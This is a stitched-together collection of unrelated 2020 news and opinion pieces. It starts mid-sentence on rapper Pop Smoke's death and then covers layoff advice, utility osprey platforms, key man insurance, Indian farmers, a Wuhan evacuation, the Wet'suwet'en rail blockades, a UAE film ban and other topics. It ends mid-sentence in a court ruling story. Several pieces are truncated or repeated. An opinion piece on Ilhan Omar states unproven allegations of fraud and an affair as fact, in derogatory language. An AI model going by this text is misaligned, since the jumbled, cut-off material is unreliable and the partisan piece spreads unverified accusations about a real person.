boyfriend Travis Scott collaborated with Pop Smoke on the hit song Gatti last year, also shared her heartbreak at the news on Twitter. Pop Smoke's slaying is one in a string of deaths of young rappers in recent years involving violence and drug overdoses, including Juice WRLD, Mac Miller, XXXTentacion, Nipsey Hussle and Lil Peep. Rapper and podcast host alluded to the previous deaths in a tweet about Pop Smoke, writing: 'Prayers up, yet again.' Minutes after news of the shooting broke, Nicki Minaj posted a photo of Pop Smoke on Instagram, writing: ' The Bible tells us that jealousy is as cruel as the grave. Unbelievable. Rest in Peace, Pop.' The cryptic caption suggests Pop Smoke may have known the suspects Quavo also paid tribute to Pop Smoke by sharing photos of them together on Instagram Rapper 50 Cent tweeted a photo of Pop Smoke in the studio Chance The Rapper shared his sadness over Pop Smoke's death at such a young age Kylie Jenner, who's boyfriend Travis Scott collaborated with Pop Smoke on the hit song Gatti last year, also shared her heartbreak at the news on Twitter Pop Smoke, who hails from Brooklyn, rose to fame last summer with the release of his debut mixtape Meet the Woo. The lead single on that album, Welcome to the Party, reached number five on Billboard's Bubbling Under Hot 100 Singles chart and was remixed by Nicki Minaj. The rapper released his second mixtape, Meet the Woo V.2, earlier this month. The album was met with rave reviews and reached number seven on the Billboard 200 Albums chart. He rapper was set to go on tour in March, with 24 shows across the US and the UK. Ten of those shows were sold out within two weeks of when the tour was announced. Pop Smoke was also slated to perform at the famed Rolling Loud hip-hop festival in Miami in May. His rapid ascent to fame was accompanied by several brushes with the law, including a recent arrest for car theft. He was detained at John F Kennedy International Airport in New York City in January after police alleged he stole a black 2019 Rolls-Royce Wraith that he had borrowed for a music video in California, according to The New York Times. Investigators said the rapper had transported the $375,000 car to New York on the back of a flatbed truck sometime between November 5 and December 3. He then posed with the allegedly stolen car in an Instagram post that has since been deleted. Pop Smoke pleaded not guilty to charges of interstate transportation of a stolen vehicle and denied the allegations in a radio interview on February 7. 'Foolishness. I'll tell you later,' he told Power 105.1 host Angie Martinez . 'But just know... But you know, it's cap. We gon' keep it like that. But just know! Man, look at me man.' During a court hearing in that case, a federal prosecutor said the government believed Pop Smoke was a member of the Crips. The rapper himself made that claim in one of his songs on his second album. 'Everybody know I'm Crip,' he rapped in Armed N Dangerous. Last September the Times published an interview with Pop Smoke and noted that he'd recently been required to wear an ankle monitor as part of a diversion program connected to a weapon charge, which was later dismissed. The rapper told the newspaper that he wanted to make music for young people who 'got to carry their guns to school because it ain't safe, but they still got to make sure they get they diploma 'cause they mom could be happy. I do it for them.' In other interviews he described how he was expelled from middle school because he brought a firearm to campus. In October, Pop Smoke was removed from the lineup for Rolling Loud's festival in Queens after the NYPD sent a letter to organizers raising concerns that he and four other artists posed a public safety risk because they were 'affiliated with recent acts of violence citywide'. Warning - Explicit language: When WeWork collapsed last October, it was seen as the first loud pop of a bubble about to burst. Of IPO valuations run amok. Of the reckless character of venture capitalism. Coupled with the IPO woes of companies like Uber and Peloton and layoffs from mattress startup Casper to fellow Softback-banked budget hotelier Oyo, WeWork was painted as the harbinger of doom especially for employees, who were laid off by the thousands. I beg to differ. As founder and CEO of a company that helps people to find new jobs, and one thats working with many of those ex-WeWorkers, I've helped venture-backed companies swiftly hire to scale for the past decade. I've seen these cycles time and again, and what laid-off employees need isnt a shoulder to cry on, but a few short, helpful tips. Layoffs are embedded in the very nature of the tech ecosystem, where the rush to market calls for an equal rush of hyper-growth. It often works, which is why venture firms poured a record $136 billion in U.S. companies last year. But occasionally, that growth oversteps reality. WeWork laid off nearly 20 percent of its 12,500 employees, with thousands more outsourced or shed from subsidiaries. Such implosions make for compelling headlines, e.g. a giant venture fund betting boldly and badly. A self-dealing CEO who bailed with a $1.7 billion parachute, while workers received a mere four-month severance. Yet WeWork was more anomaly than standard-bearer, and certainly nothing new. These blowouts, through malfeasance or basic market attrition, have been happening for decades. Three years ago, I had a front-row seat to a similar implosion at HR-software maker Zenefits, which at one point was valued at $4.5 billion. As its prospects soared, my company was brought in to help with the hiring of over 100 people. Then it fell short of sales goals and got caught cheating. Its employee ranks in San Francisco and Tempe, Arizona, went down from 1,600 to 500. My company then returned to the scene to help many of those who were laid off. Still, the market keeps chugging along, for America suffers no shortage of invention or entrepreneurial spirit. What we've learned from this incident and others is that being laid off en masse is not the scarlet letter most assume. Here are three tips to surviving the storm. Related: How Laid-Off Corporate Workers Are Becoming Free-Thinking Entrepreneurs 1. Move quickly There was a day when those fired in volume were often rehired in volume, as other companies plucked entire teams from the rosters of the dying. But this also meant importing cultures that may or may not have been the best fit. Today, companies aren't simply looking for ethnic or gender diversity. They're also after distinction in work and personal experience. So while it was once considered an in if a company had already hired six of your colleagues, that's no longer the case. Now it may well mean that the company has hit its quota of hires with your work experience. But if you're not the first in the door, or a new job doesn't come about quickly.... 2. Don't fret When a flood of similarly skilled people hit the market, there's a natural absorption rate that can only move so fast, but a lack of immediate success only presents you with a unique window. Use your severance to travel, have fun, catch up on those doctor and dental appointments you've been putting off and, most important, recharge. Polish your skills, attend that seminar or class you never had time to take, and network, network, network. Because within months.... 3. The market will open again Employers are smart. They realize the fault behind downed companies usually resides well above most employees's pay grades or were the result of market forces unforeseen. They also understand that a flood of skilled workers suddenly entering the market is a bonanza, not an encounter with the scarlet-lettered. What we've found in cases like Zenefits and others is that there's a three-to-six month latency period after the initial round of hires. That's when conditions change, employers reexamine their needs and new rounds are about to commence. If you have a strong history of performance, there's little need to worry. For every headline-grabbing case like WeWork, there are hundreds, if not thousands, of other companies on the prowl for new hires just as there were following downsizing at Tesla two years ago or Etsy the year before that, or after any number of layoffs at companies that today are stronger and hiring once again. Yes, the immediate future may be rocky as investors demand swifter routes to profitability and, ultimately, an exit. But this is also a good thing. Wise executives will read the tales of Uber and WeWork as cautionary, forcing them to take a smarter approach to the gallop to market. Related: The 7 Worst Mistakes Companies Make When Laying Off Employees America has a two-century track record of ingenuity. That's not about to be sidetracked by a few unicorns failing to live up to high expectations. While there will always be unfortunate crashes, there will also always be a need for good people to help bring America's inventiveness to market. Related: The Top Apps for Businesses in 2020 E-commerce Entrepreneur Tyler Donahue Shares the Uncomfortable Experience That Taught Him How to Handle Life's Curveballs Do You Need a Virtual Assistant? This Service May the Solution You're Looking For Copyright 2020 Entrepreneur.com Inc., All rights reserved NEW CASTLE, Pa., Feb. 21, 2020 /PRNewswire/ -- As part of its ongoing efforts to protect nesting birds and prevent power outages, The Pennsylvania Power Company (Penn Power), a subsidiary of FirstEnergy Corp. (NYSE: FE), partnered with the Erie Bird Observatory to install two 55-foot wooden poles with nesting platforms in Mercer and Crawford counties. This proactive work will help prevent electrical service disruptions by discouraging ospreys from nesting on utility poles when they return to the area in the coming weeks. A $5,000 FirstEnergy Foundation grant was awarded to the Erie Bird Observatory in the fall of 2019 to fund the construction of several nesting platforms across western Pennsylvania. Penn Power partnered with the organization to install the new nesting platforms adjacent to utility poles that have experienced high levels of osprey activity. "We've experienced a significant spike in the osprey population over recent years, and we anticipate this year will be no different since the birds typically return to the same nesting sites as the year before," said Amy Ruszala, an environmental scientist and avian expert at FirstEnergy. "Our goal is to not only remove unoccupied osprey nests that are situated on our utility poles, but also take action to prevent the birds from making new nests on our equipment this spring." Birds of prey, like ospreys, often seek out tall structures including electric transmission towers and poles to build their nests, which can measure up to three feet in width. These nesting habits often place the birds near energized electrical equipment jeopardizing their well-being and potentially causing power outages. Because ospreys prefer to nest near large bodies of water, the 5-square-foot wooden nesting platforms were installed on top of new wooden poles located near utility poles and electric equipment that previously served as prime real estate for the birds near the Route 18 causeway over the Shenango River Lake. "We are proud to partner with Penn Power to have these nest structures in place before the ospreys return to the area in late March and take up nesting this spring," said Sarah Sargent, executive director and founder of the Erie Bird Observatory. "Our partnership is a win-win because it helps keep the nesting birds safe and also benefits the electric customers." Utility personnel also worked closely with FirstEnergy's environmentalists and state wildlife officials to remove nests from substations and transmission towers while the birds were south for the winter. Ospreys are a month away from the onset of their breeding season and will lay their eggs between April and July. Penn Power is a subsidiary of FirstEnergy and serves more than 160,000 customers in all or parts of Allegheny, Beaver, Butler, Crawford, Lawrence, and Mercer counties in western Pennsylvania. Follow Penn Power on Twitter @Penn_Power, on Facebook at www.facebook.com/PennPower, and online at www.pennpower.com. FirstEnergy is dedicated to safety, reliability and operational excellence. Its 10 electric distribution companies form one of the nation's largest investor-owned electric systems, serving customers in Ohio, Pennsylvania, New Jersey, West Virginia, Maryland and New York. The company's transmission subsidiaries operate approximately 24,500 miles of transmission lines that connect the Midwest and Mid-Atlantic regions. Follow FirstEnergy online at www.firstenergycorp.com and on Twitter @FirstEnergyCorp. Editor's Note: Photos of Penn Power utility personnel installing the nesting platforms are available for download on Flickr. SOURCE FirstEnergy Corp. Related Links http://www.firstenergycorp.com Here's a question every entrepreneur ought to consider: What would happen to your business if one or more of your key employees died suddenly or could no longer work because of a disability? For many fledgling businesses, the loss of a key employee whether a founder or top sales rep can be fatal. Enter key man insurance, a form of business-to-business insurance that's intended to help a company or nonprofit survive if a critical employee dies prematurely or can't work because of a disability. Policy proceeds can be used to pay off a firm's debts or cover its overhead costs, for instance. "Many business owners would say that they'd lose hundreds of thousands, or millions, in revenue if, for instance, a key employee passed away in a car accident on their way to work," says Alex Grammatic, a principal at Helm Financial, a Dover, N.H.-based business consulting firm and an independent insurance agency. In his experience, business owners don't tend to look for key man insurance until they come to the stark realization that their own death, or the death of a critical employee, could cripple what they've spent years building. Key man insurance, says Grammatic, can help take the financial pain out of recruiting and training a replacement employee or even cover costs associated with closing or restructuring a business. Entrepreneurs may find themselves in the market for key man insurance, sometimes more appropriately called key person insurance, because potential lenders and/or investors insist on it. Take the town of Greenfield, N.Y., for instance. Its $2 million economic development revolving loan fund usually requires borrowers to obtain key man insurance, or some form of traditional life insurance, and to assign the policies to the town of Greenfield, a hamlet in Upstate New York. Why does the fund impose this requirement? James Lee, CFP, a financial adviser who serves as its administrator, puts it this way: "Because we are dealing with small businesses, often the applicants are either founders or partners who are very critical to the businesses. If something should happen to them, it's very likely the businesses could fail, and the town would not get repaid." "Many business owners would say that they'd lose hundreds of thousands, or millions, in revenue if, for instance, a key employee passed away in a car accident on their way to work. Alex Grammatic principal at Helm Financial Lee speaks from first-hand experience. The fund's insurance requirement has twice allowed it to recoup money lent to small businesses whose founders died prematurely. In one case, the founder of a welding business died and proceeds from his policy were used to pay his loan in full, which meant his family didn't have to consider selling its home in order to do so, according to Lee. The home had been used as collateral for the loan. Key man insurance "saved the home and allowed the business to continue despite the passing of its owner, which is what it's designed to do," says Lee. As with any type of coverage, there are a number of issues to consider when mulling key man insurance. We tackle a few of them here: Who is typically considered a key employee? Very often, but not always, it's the founder(s) of a business or nonprofit, particularly in the early stages of growth, when start-ups tend to depend heavily on one person's idiosyncratic knowledge and/or skills or perhaps their ability to recruit talent and initial customers. Sridhar Tayur, a professor of operations management at Carnegie Mellon University's Tepper School of Business, says venture capital investors often insist that businesses carry key man insurance on the founders of their portfolio companies. He should know. Tayur is not only an expert in entrepreneurship and venture capital, but the founder of inventory optimization software firm SmartOps Corp., which in 2001 raised an initial $10 million in venture capital funding. As a condition for the investment, SmartOps had to take out a multimillion-dollar key man policy on Tayur, its sole founder. In 2013 the company was acquired by SAP. "The role of the individual is often quite high when a venture capitalist makes an investment," says Tayur. "Therefore, it makes sense for venture capitalists to want to protect the downside." Tayur suggests asking the following question to help decide which employees are integral to a business or nonprofit: "What is the talent that is not easily replaceable?" In addition to founders or owners, key people also frequently include top sales reps, doctors in medical offices, heads of research and executive directors of nonprofits, according to Zachary Taylor, a principal and exit planning specialist at Helm Financial. How much does key man insurance cost? Premiums vary widely and depend on such factors as the age, gender and health of a key person and the amount of coverage provided under a policy. Some companies pay as little as a couple hundred dollars a year, while others pay tens of thousands of dollars in annual premiums, says Grammatic of Helm Financial. Like other independent insurance agencies, Helm Financial helps business owners shop around for policies and assess how much insurance they need. The firm has designed a proprietary calculator to help business owners get a sense of their coverage needs. It takes into account how much revenue a key person generates, how much he or she earns (including bonus), how many years it might take to replace that person and how long it might take for the replacement employer to become as efficient as his or her predecessor. In a highly specialized role, the latter can take years. Businesses typically buy enough insurance to cover their operating expenses for at least a year if they were to lose a key employee or employees, says Taylor. "That gives them enough time to find a replacement, get that person up to speed and start making decisions about what to do next," he explains. Are there different types of key man insurance? Yes. Key man life insurance is essentially term life insurance, except that a business or nonprofit typically owns the policy, pays the premiums and is the beneficiary. Key employee disability income insurance, on the other hand, helps protect a business from losses associated with the partial, total and/or permanent disability of a key employee. Businesses actually tend to face a greater risk of losing a key employee to disability as opposed to death, according to the Insurance Information Institute, an industry-backed nonprofit. Any insurance company that sells life insurance will likely sell key man insurance. As with other types of insurance, applicants for key man coverage must prove they're, well, insurable. That means a key employee may have to undergo a medical exam and answer health-related questions. Insurers may also ask companies to provide financial documents, such as tax returns and profit and loss statements. The financial underwriting process helps insurers determine whether a specific employee is actually key, meaning that his or her death or disability would result in a significant financial loss for their employer. What if the key employee just decides to leave? Scores of farmers in Kawardha district are holding a protest outside the premises of some district collectorate officer over the alleged mismanagement in paddy procurement centers. Farmers were staging demonstrations over shortage of gunny bags at various paddy procurement centres. "We will not move until our demands are met. The government has only sent 8,1600 gunny bags. They are not enough... It seems that they are not serious about buying our produce," said Kailash Chandravanshi, a farmer. Notably, the state government-run by Chief Minister Bhupesh Baghel has set the target of taking 85 lakh metric tons of paddy from farmers during the current Kharif season and it claimed to have procured 81.5 lakh million tonnes so far. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) One citizen of Israel and eight citizens of Argentina were evacuated Members of Ukraines National Guard on February 21 closing the gate of a sanatorium where the evacuees from the coronavirus-hit Hubei province were quarantined VALENTYN OGIRENKO/reuters Israel and Argentina thanked Ukraine for the evacuation of their citizens from China as the embassies of the countries reported. Israel stated that one citizen was evacuated from China. Israel highly appreciates the efforts of the Ukrainian government in evacuating Israeli citizen Tomer Zvulun from Wuhan. This is yet another example of the strong relations between our countries, the embassy stated. Besides, eight citizens of Argentina were evacuated. They will stay there in quarantine for two weeks under strict security measures in the healthcare sphere and they will pass periodic medical and epidemiological control and it is confirmed by the Ukrainian authority, the Embassy of Argentina reported. It is specified that the evacuated foreigners do not have symptoms of coronavirus. 45 Ukrainians and 27 citizens of Argentina were evacuated from Chinese city Wuhan. On February 20, the Boeing 737-800 landed in Kharkiv city. It carried the Ukrainians who were evacuated from China so as to save them from the raging coronavirus. According to Ukraine's Healthcare Ministry, none of the passengers were sick or showed any symptoms of the disease. The Interior Ministry decided that the citizens will be put on the quarantine in Novi Sanzhary, Poltava region, central Ukraine. That evening, the buses with the evacuated passengers reached Novi Sanzhary; the enraged locals pelted them with stones, protesting against the decision to accommodate the people there. They also set a fire and tried to block the road to the sanitarium, but the police didn't let them. Kashmiri Hindus celebrated Maha Shivratri, or the Night of Shiva, on Friday. Called Herath, this was the first major Hindu festival being celebrated in the Valley after Jammu and Kashmir was changed into a Union territory last year. On the occasion, scores of Hindu families visited temples in Srinagar and elsewhere to offer prayers to Lord Shiva. Photographs: Umar Ganie for Rediff.com. AWARDS Jane T. Rubin received the Arthur J. Dixon Memorial Award for distinguished service from the American Institute of Certified Public Accountants. Rubin currently serves on the AICPA National Accreditation Commission. HELPING OUT Cesar Paredes, vice president of communications and marketing for BJC HealthCare, joined the board of directors of Casa de Salud. Terri Owen, general manager of FleishmanHillard, was installed as a board member of Variety the Childrens Charity. GCS Credit Union employees raised $860 to benefit Without Limits Dance Co. HeplerBroom LLC, the Third Judicial Circuit Pro Bono Committee and the SIU School of Law Veterans Legal Assistance Program co-sponsored a free legal clinic to help veterans apply for their medical and military records. The clinic was part of Legal Help Within Reach, a project of the Public Interest Law Initiative. OTTAWA This thing is nowhere near settled. Federal Public Safety Minister Bill Blair jumped the gun Thursday morning when he said the RCMP made an offer to Wetsuweten protesters that should lead to a peaceful resolution of the blockades crisis crippling passenger and freight rail service across Canada. It was clear after suppertime Thursday that once again, there was no big breakthrough. Prime Minister Justin Trudeau briefed the premiers on the state of efforts by Ottawa and B.C. to contain the spreading damage and made the case for more patience. A PMO summary said Trudeau told premiers he wants a long-lasting resolution and highlighted that we need our railroad system to be fully functional and we are looking at our options to resolve the current interruptions given the impact on our economy. But the early morning optimism was unwarranted. B.C. Premier John Horgan said he and Trudeau have sent two letters offering their senior ministers to meet, and had no response to the latest effort, sent Wednesday. Asked why it is so difficult, Horgan replied: Communications have to be two-way. Our communications efforts have been public record, and the better question would be to those who are representing the interests of hereditary leadership to respond to that question. Earlier in the day Blair revealed before the RCMP or the Wetsuweten in B.C. had that the RCMP in that province had written the day before to hereditary Wetsuweten chiefs to offer to withdraw the Mounties from a mobile detachment on the northern B.C. logging road which Coastal GasLink pipeline construction crews need to use. The RCMP offered to patrol out of the detachment in the nearby town of Houston, emphasizing it expects the road to remain open to public and Coastal GasLink crews. Soon after, Coastal GasLink signalled in a statement to the Star it intends to continue its operations even as it seeks a negotiated resolution to the issues outlined by the hereditary chiefs and continue to provide long-lasting benefits to the Wetsuweten people. Blair had declared the RCMP offer met the condition that those on the barricades said was important. Blair and the federal ministers of Crown-Indigenous Relations Carolyn Bennett and Indigenous Services Marc Miller had hoped the RCMPs offer which they insisted was made independent of any government pressure would allow for an end to solidarity protests that had stopped rail traffic near Belleville, Ont., and, over the past two weeks, at points in B.C., Alberta, Manitoba, and at points outside Montreal. The ministers did not misrepresent the position of the Wetsuweten Nation but they didnt outline it entirely either. But thats because the Wetsuweten demands are not that simple. Not only do hereditary chiefs want the RCMP to leave the logging road that activists blockaded, they want the company to suspend operations, they want charges dropped against any activists who were arrested when the RCMP enforced an injunction, and they want nation-to-nation talks with the federal and provincial governments. It wouldnt be fair to say the Wetsuweten goalposts have shifted. But it is fair to say even after more than a year of protests at the site, court injunctions, eviction notices, and two weeks of rail blockades, and contrary statements by other Wetsuweten residents in support of the pipeline at a public event this week in Smithers, B.C., its difficult for the federal and provincial governments, media and the Canadian public to know exactly who speaks for the Wetsuweten, and what is the path forward. In interviews with the Star late Thursday, two members of the Wetsuweten nation said decision-making for Wetsuweten people is collective, and insisted the company does not have the consent it needs to proceed. Karla Tait, director of clinical programming at the healing centre, was one of the activists arrested earlier this month as the RCMP cleared the Wetsuweten blockade. She said the long-standing and overarching demand has been that the company cease its operations on traditional territory because it has not obtained the approval of hereditary chiefs, and she said the RCMP letter changes nothing. I dont believe this (RCMP) gesture with the conditions attached demonstrates good faith and sets up the conditions for nation-to-nation talks to occur without duress. Like, how are we supposed to proceed with these nation-to-nation talks if this company continues to destroy parts of our territory without consent? None of the hereditary chiefs were available to speak to the Star Thursday. Four of five were in central Canada to thank Mohawk protesters for their solidarity and did not reply to a request sent to their spokesperson. A fifth had remained in B.C. and was also unavailable. Tait said while the hereditary chiefs have not publicly demanded that any charges against protesters be dropped, I think it would be a good faith showing if the province or the RCMP made that stance, but I dont know who has the power to do that. But in fact, the RCMP told the Star a total of 28 persons were arrested yet no charges have yet been laid. One woman remains in police custody who refused to sign an undertaking to be released. Trudeau and Horgan insist that they are prepared to send their senior ministers into Wetsuweten territory to meet the hereditary chiefs. But the Wetsuweten have made it clear they only want to meet the top guns. The best solution would be a more comprehensive one in which the federal and provincial leads so Trudeau and Horgan accept the offer or request to meet with our hereditary chiefs here on Wetsuweten territory and that the work of CGL (Coastal GasLink) be stayed until those discussions occur and that the RCMP remove themselves from our territory, said Tait. Dinize Ste ohn tsiy, a Wetsuweten wing chief whose English name is Rob Alfred, said an eviction notice issued by the nations hereditary chiefs in December still stands. He agreed Wednesdays offer by the RCMP isnt enough. He said the chiefs wont meet with B.C. and federal Indigenous relations ministers until three demands are met: the RCMP needs to stop patrolling and stopping people in the area where a healing lodge and Wetsuweten checkpoint were set up to block construction of the pipeline. Coastal GasLink security and construction crews also need to leave Wetsuweten territory, and all charges laid against people arrested while blocking construction need to be dropped, he said. Only then, he said, will the hereditary chiefs agree to meet with government ministers. Right now we cant even talk because CGL is on the territory, they have their private security, he said. Thats all got to stop before anything because were under threat, basically. Beyond that, Dinize Ste ohn tsiy who is a wing chief and part of his nations rights and title committee said the Wetsuweten want the government to recognize their title over their traditional territory, something the nation has been demanding for decades. This fights been going on for over 40 years. So it shouldnt be a surprise to anybody, its just been hidden from mainstream media, he said. Theres lots of people upset over the blockades, but if they knew what weve gone through all these years We were pushed into a corner and this is what comes out of it. The Wetsuweten nation has its own distinct authority system based on 13 house chiefs that exist across five clans. As Dinize Ste ohn tsiy explained, recent deaths have left four of those positions vacant, meaning there are currently nine hereditary Wetsuweten hereditary chiefs. These authority positions are separate from the elected chiefs of band councils along the pipeline route, who are chosen by members of First Nations as defined by the federal Indian Act, a law from the 19th century that has been used through Canadas history to control aspects of Indigenous life, including freedom of movement and the freedom to engage in cultural practices. The hereditary chiefs of the Wetsuweten maintain they have never given up authority over their traditional territory, so the Coastal GasLink cant cross through without their permission. Its bigger than the pipeline. Its about Indigenous rights. Its just that the pipeline is the catalyst, Dinize Ste ohn tsiy said. Read more about: By IANS MUMBAI: The latest release of actor Ayushmann Khurrana "Shubh Mangal Zyada Saavdhan" has been banned in UAE for its homosexual content. According to a media report, the film's makers even offered to edit the kiss between Ayushmann and co-actor Jitendra, but to no avail. ALSO READ: Struggle was to earn money from acting, says 'Shubh Mangal Zyada Saavdhan' actor Jitendra A source from Dubai told the portal: "We knew this was coming. Or, rather not coming. We really wanted to see what 'Shubh Mangal Zyada Saavdhan' has to say, since it is the first Bollywood film that normalises a gay relationship. Sadly, all films with gay content are banned in these parts." When the producers of the film offered to cut out the kiss scene between Jitendra and Ayushmann, they were reminded that it wasn't about the kiss but the content. Directed by Hitesh Kewalya, "Shubh Mangal Zyada Saavdhan" is a love story between two men in small-town India. The film also stars Gajraj Rao and Neena Gupta among many others. Washington President Donald Trump's new acting director of intelligence may hold the job for only about three weeks unless the White House quickly finds a permanent nominee to offer to the Senate for confirmation. The president tapped Richard Grenell, the U.S. ambassador to Germany, on Wednesday to also serve as the acting director of national intelligence, overseeing the nation's 17 spy agencies. Grenell agreed to hold the post for only a limited period of time, according to people familiar with his plan. Federal law gives the president a great deal of flexibility to appoint whomever he chooses to the position on a temporary basis while his official nominee for the job awaits confirmation from the Senate. Under the Federal Vacancies Reform Act, Grenell can serve in his post only until March 11 unless the president formally nominates someone else for the job. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. That move would allow Grenell to serve for months longer as the nomination works its way through the Senate. Two administration officials said that officials were aware that they must nominate someone else soon, and that the process to find a formal nominee was underway. From the moment Ilhan Omar emerged on the national political scene, rumors followed that she had married her own brother as part of a fraudulent immigration and education scheme. Eventually, intrepid bloggers tracked down enough documentary evidence to justify an FBI investigation. And now, at long last, a witness has emerged from the shadows to flesh out the story. Scott Johnson, at PowerLine, and David Steinberg, writing at both PJ Media and The Blaze, have relentlessly teased out the facts behind Omar's complicated marriage and family life. While Steinberg has been on the trail of documents, Johnson, a Minneapolis resident, met people in the Minneapolis Somali community. Steinberg found enough documentary evidence of marital and immigration fraud to set the FBI on Omar. Meanwhile, Johnson filled out the narrative. Over the years, members of the Somali community began to trust Johnson with the inside story of Omar's escapades. On Thursday, Abdihaikim Osman Nur (AKA Abdihakim Osman) one of those sources, finally went public with the story of how Omar first married Ahmed Hirsi in a Muslim ceremony, without a marriage license, and then married her flaky, effeminate, British-based brother Ahmed Elmi in a Christian ceremony (which would have been meaningless to both of them), this time with a marriage license. Omar and her brother/husband Elmi attended North Dakota State using student loans even as Omar and Hirsi were living together as husband and wife with their two children. Omar and Elmi divorced only in 2017, at which point she had a formal civil ceremony with Hirsi, right before her election. Omar then moved from the criminal to the scandalous. Although now legally married to Hirsi, the father of her three children, Omar began to have an affair with Tim Mynett, a married father of one who was her chief fundraiser. Omar's campaign sent him more than a half-million dollars in business in 2019 alone. In November, Omar and Hirsi divorced, with Omar finding $250,000 to buy him out of the marriage. Then, in December, Mynett and his wife divorced, with the judge refusing to allow Mynett's wife to make a statement in court about Mynett's affair with Omar. Omar, naturally, self-righteously denied the newest allegations about the way in which her private life may have intersected with immigration fraud: The same people who chastise the progressive movement regularly traffic in anti-Muslim smears and hate speech against me and those I represent. Its almost as if they don't genuinely care about online harassment. pic.twitter.com/jZKgYvjDl6 Ilhan Omar (@IlhanMN) February 20, 2020 Omar's peccadilloes and possible criminal conduct matter. Since her election to the House, she has become one of the faces of the modern Democrat party. Along with her cronies Alexandria Ocasio-Cortez and Rashida Tlaib, as well as tagalong Ayanna Pressley, these four women represent everything that separates the modern Democrat party from the party of John F. Kennedy. It's not just that these women want open borders, socialized medicine, high taxes, and the end of Donald Trump's presidency that makes them newsworthy and, indeed, important. It's that these are congresspeople who are open about their hatred and contempt for Americans, as well as open about their anti-Semitism. When he was elected, Barack Obama boasted that he would be "fundamentally transforming the United States of America." He was smart enough to know, though, that he couldn't denigrate America as it was; he could only promise a newer, better America based upon a still hidden leftist agenda. Back then, he spoke about stopping "climate change," healing race relations, growing the economy, and all sorts of other anodyne principles, albeit with a leftist tinge. Obama didn't mention socialized medicine, open borders, disarming Americans, implementing a Green New Deal that would send America back to a pre-modern time, or pandering to Iran. They were his goals, but they were unspoken. In a way, in 2009, Obama was the Superego of the new Democrat party, promoting a moral worldview that was supposed to elevate all of us. By 2012, Obama had become the Democrat party's Ego, the functional part of modern leftism that tried to advance leftist policies while phrasing issues in ways that were traditional to America. Ilhan Omar and her posse, however, are the Id they are the deep, immature, demanding forces behind leftism that have now been given leave to lead the Democrat party. That's why Ilhan Omar matters she's one of the toddlers in the driver's seat of our nation, and the fact that she is utterly unprincipled and will do anything she wants to achieve her goals should frighten us all. To understand the unbearable shallowness of Doug Fords Tories, there may be no better example than our ongoing licence plate fiasco. You may have heard (if not seen) the news: Ontarios new licence plates are hard to read at night, according to a plain-spoken (and plain-tweeting) police officer with photos to prove it. Had the Ford government owned up to the nighttime problem at first light, the revelation might have been merely embarrassing but not quite incriminating. Yet they didnt, darent, couldnt and wouldnt. Instead, the Progressive Conservatives denied reality and ducked responsibility until the story became absurdly indefensible. They transformed it into a cautionary tale of political pigheadedness. Plategate, as the media has dubbed the boondoggle, isnt just about licence plates that cant be seen in the dark. It is about blind spots and a tin ear from a premier who talks up front line police officers but wont listen up. The official response from Government Services Minister Lisa Thompson, speaking on Fords behalf? Nothing to see here except how much better Fords Government For the People is than what came before it. We absolutely have confidence in our plates, Thompson said Tuesday, insisting that these plates are working people like them. She boasted that they were a vast improvement over the old status quo Liberal plate. Liberal licence plates? Never mind that the old design emanated from past PC governments decades ago. By turning road safety into a partisan punching bag, and throwing a police officer under the bus, this government gave us insight into its instincts: Political optics versus visibility of licence plates. Public relations messaging versus listening to police and answering public criticism. The government stuck to its guns while shooting the messengers not just the police officer but opposition MPPs and the media. Mercifully, the government declined to lash out at Mothers Against Drunk Driving Canada (MADD) for echoing concerns that the new plates make it easier for intoxicated suspects to escape justice. Plategate isnt merely about a lack of visibility and transparency but hypocrisy. Within months of winning the 2018 election, Ford decided to turn his pedestrian campaign slogan Open for Business into a provincial credo. Henceforth, decreed the premier, his favourite phrase would be plastered on all new licence plates for commercial vehicles in Ontario. Those on private vehicles, which now read Yours to Discover, would also be replaced with A Place to Grow inspired by a decades-old (and largely forgotten) song, while deftly riffing off Fords pet slogan about business growth. Critics wondered about the sudden need to change, but the Ford government had a ready answer: The Government For the People is giving the people what they want. Even if they never asked for it nor voted for it. People across this province want change they voted for change and theyre getting change, the premier boasted last year when defending the plates thus opening the gates to Plategate. Changing the licence plates doesnt cost a penny to the taxpayers. They are still producing the plates. Its going to be the same cost. No cost. Unless you factor in the incalculable cost of rushing through a partisan-inspired rebranding at the expense of public safety, not to mention lost revenue from Torontos red-light cameras being unable to read the fine print on the new plates, and the extra work of shipping out replacements. We want to make sure people understand there is a new government we are actually open for business, explained Bill Walker, the previous minister of government services, as he introduced the new plates last year. You always want to look, when you come in after 15 years of disastrous management by the Liberals, to say, Is it time to take a look at things? Today its not such a good look. This month the remaining stock of old plates was set aside and the new double-blue version went into circulation, bearing a remarkable resemblance to a deep blue box of Q-Tips except for the reflective coating that can make them hard to see at night in the glare of head lights. Belatedly this week, the premier issued a statement saying that he had seen the light the plates were hard to see in the dark after all. After all was said and done and denied, replacements plates will be shipped out to tens of thousands of drivers saddled with the new double-blue invisible versions. A licence is more than a mere collection of letters and numbers. A plate connects us to whats behind it not just the owner of the vehicle but the government that issues it. A year ago, our newly empowered and emboldened premier thought he could treat the licences of the province like his own partisan vanity plates. Now, as the author of his own tangled tale of hubris, he is hoist upon his own Plategate. Read more about: Judge rules in favor of Wheaton College students barred from evangelizing at park Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment A federal judge ruled Thursday that Wheaton College students who were barred from evangelizing in a downtown Chicago park must be allowed to exercise their First Amendment rights until the legal dispute is resolved. Judge John Robert Blakey, an Obama appointee, ruled in favor of four students who attend the evangelical higher education institution. Blakey granted a preliminary injunction against a set of rules that govern the citys 24-acre Millenium Park. The student plaintiffs are part of the Chicago Evangelism Team sponsored by the Wheaton College Office of Christian Outreach with the mission of proclaiming the Gospel in the city of Chicago to whomever we find there. The group often meets on Friday nights to travel downtown to share the Gospel. In September, the students filed a lawsuit, stating that they were barred by security from evangelizing at Millennium Park, which hosts a range of activities from concerts, dance performances, theater and other shows throughout the year. The students sought an injunction against the parks stated rules. Among other things, the park bans disruptive conduct and passing out of written communications. In his order, Blakey argued that the city prohibits reasonable forms of expression in large areas of the park and that the citys defense of the park policy rests upon its misapplication of the government speech doctrine. The City contends that, by curating art and programming, it exercises permissible government speech making its restrictions immune to First Amendment attack because the rules further such government speech, the judge wrote. This Court rejects the Citys flawed reading of this important doctrine. According to the judge, the government speech doctrine recognizes that the government may also engage in speech and that the First Amendment does not regulate government speech as it does private speech. Blakey explained that 